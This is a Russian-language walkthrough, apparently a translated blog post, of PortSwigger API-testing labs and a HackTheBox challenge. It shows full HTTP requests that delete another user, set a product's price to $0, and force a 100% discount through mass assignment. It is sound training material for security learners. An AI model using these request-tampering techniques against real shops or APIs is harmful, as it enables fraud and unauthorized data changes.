October 4

Практическое тестирование API [Complete web app pentesting series #13]

Введение

Специалистам по безопасности и разработчикам необходимо освоить методы обнаружения уязвимостей API, поскольку область веб-безопасности постоянно развивается. Эта статья демонстрирует практические лабораторные задания, которые показывают, как происходят атаки, с акцентом на эксплуатацию конечных точек API на основе документации и обнаружение уязвимостей массового присваивания. Приведенные примеры иллюстрируют типичные слабые места API и предлагают методы безопасного тестирования и защиты конечных точек.

Лабораторная работа 1: Эксплуатация конечной точки API с использованием документации

URL лабораторной работы: https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation

Исследование приложения

Сначала открываем лабораторную работу, входим в веб-приложение с учетными данными wiener:peter и переходим в раздел обновления электронной почты. После ввода email и нажатия Enter замечаем, что выполняется запрос PATCH к конечной точке API /api/user/wiener.

Давайте протестируем этот запрос, так как он обращается к конечной точке API.

Если отправить запрос PATCH к конечной точке /api/user/carlos, сервер возвращает следующую ошибку:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 53

{"type":"ClientError","code":401,"error":"Forbidden"}

Однако, если отправить запрос GET к конечной точке /api/user/carlos, ошибки не возникает:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 57

{"username":"carlos","email":"carlos@carlos-montoya.net"}

Теперь отправим запрос GET к конечной точке /api/, чтобы получить документацию API.

Используя информацию из документации, удалим пользователя carlos, отправив запрос DELETE к /api/user/carlos:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 25

{"status":"User deleted"}

Этим мы завершаем лабораторную работу.

Лабораторная работа 2: Поиск и эксплуатация неиспользуемой конечной точки API

URL лабораторной работы: https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint

Исследование приложения

При просмотре магазина, добавлении продукта в корзину и просмотре цены замечаем запрос GET к конечной точке API.

Отправим этот запрос в Repeater, нажав Ctrl+R.

Эксплуатация

Проверим, какие HTTP-методы поддерживает приложение. Если изменить метод GET на другой, получаем ошибку, но она содержит полезную информацию о поддерживаемых методах:

HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

Если вы не вошли в систему, выполните вход с учетными данными wiener:peter. Без входа при выполнении PATCH будет ошибка:

HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14

"Unauthorized"

После входа в систему повторяем запрос и получаем другую ошибку:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 93

{"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}

Добавляем заголовок Content-Type: application/json; charset=utf-8. Новый запрос выглядит так:

PATCH /api/products/1/price HTTP/2
Host: 0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net
Cookie: session=X3Si5NDnXsL1ldOWwEMnTiyFBJQDlmhW
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

Теперь получаем ошибку 500. Добавим пустые скобки {} в тело запроса:

PATCH /api/products/1/price HTTP/2
Host: 0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net
Cookie: session=X3Si5NDnXsL1ldOWwEMnTiyFBJQDlmhW
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Length: 4

{
}

Получаем ответ, указывающий на необходимость параметра price:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 77

{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}

Добавляем параметр price в JSON, но он должен быть целым числом. Если использовать дробное число или строку, получаем ошибку:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 98

{"type":"ClientError","code":400,"error":"'price' parameter must be a valid non-negative integer"}

Отправляем правильный JSON:

{
"price":0
}

И получаем ответ:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{"price":"$0.00"}

Успешный ответ 200 OK с измененной ценой $0.00.

Лабораторная работа 3: Эксплуатация уязвимости массового присваивания

URL лабораторной работы: https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability

Исследование приложения

Входим в приложение с предоставленными учетными данными, добавляем кожаную куртку в корзину и переходим к оформлению заказа. Во время оформления видим два запроса: GET и POST. Оба взаимодействуют с API, поэтому отправляем их в Repeater для тестирования.

Ответ на GET-запрос содержит интересные JSON-данные:

{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":0}]}

Вкратце, мы обнаружили скрытый параметр, также известный как уязвимость массового присваивания. Согласно PortSwigger:

Mass assignment (also known as auto-binding) can inadvertently create hidden parameters. It occurs when software frameworks automatically bind request parameters to fields on an internal object. Mass assignment may therefore result in the application supporting parameters that were never intended to be processed by the developer.

Замечаем параметры percentage и item_price в ответе. Проверяем, можно ли их изменить. Поскольку параметры находятся в ответе, добавляем их в запрос. В отличие от предыдущей лабораторной работы, здесь не требуется изменять Content-Type на JSON.

Добавление данных в GET-запрос не дает результата, но изменение percentage на 100 (100% скидка) в POST-запросе решает задачу. Итоговый запрос:

POST /api/checkout HTTP/2
Host: 0a88002f034c17d1847efe6900ae00c9.web-security-academy.net
Cookie: session=WiobavzXXAzK2ATl2S12bZWH6ibYrpBn
Content-Length: 150
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0a88002f034c17d1847efe6900ae00c9.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a88002f034c17d1847efe6900ae00c9.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":0}]}

Отправка этого запроса решает лабораторную работу.

Лабораторная работа 4: Команда флага

URL лабораторной работы: https://app.hackthebox.com/challenges/Flag%20Command/

Запускаем Burp Suite и анализируем запросы и конечные точки. При открытии приложения и нажатии на кнопку "Start" обнаруживаем конечную точку.

Сохраняем этот запрос в Repeater (Ctrl+R) для дальнейшего тестирования. Начинаем игру, где доступны четыре направления. При выборе HEAD EAST игра завершается.

Пробуем разные комбинации направлений, но выбор HEAD EAST в качестве первого действия останавливает игру. Находим конечную точку /api/options. Отправляем GET-запрос к /api/options с опцией HEAD EAST и получаем ошибку:

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Tue, 04 Mar 2025 17:32:29 GMT
Content-Type: application/json
Content-Length: 427
Connection: close

{
  "message": "Eager to meet the sunrise, you head East. Unfortunately, the only thing you meet is a band of rogue garden gnomes. They don't take kindly to humans tromping through their turf. With a battle cry that sounded eerily like \"The gnome king says hello!\", they attack. Turns out, being pecked to death by pointy hats is not an honorable way to go. Your adventure ends here, less epic than envisioned. Game over!"
}

Проверяем конечную точку /api/monitor с запросом POST. При посещении этой конечной точки получаем secret.

Передача этого secret в качестве опции дает флаг.

Альтернативный подход

Перезагружаем сайт, открываем инспектор браузера, переходим на вкладку Network и проверяем ответы и сетевые подключения. Там находится secret.

Этим мы завершаем лабораторную работу.

Заключение

Статья предоставляет пошаговые лабораторные задания, которые охватывают ключевые аспекты безопасности API: методы обнаружения конечных точек, правильное использование HTTP-методов и оценку угроз уязвимостей массового присваивания. Каждая лабораторная работа подчеркивает важность тщательного тестирования API и применения безопасных методов проектирования. Результаты демонстрируют, что небольшие ошибки могут привести к серьезным последствиям для безопасности. Представленные техники помогают понять тонкости безопасности API и подчеркивают необходимость комплексных мер защиты для обеспечения безопасности веб-приложений.

Оригинальная статья | Перевод: THREAD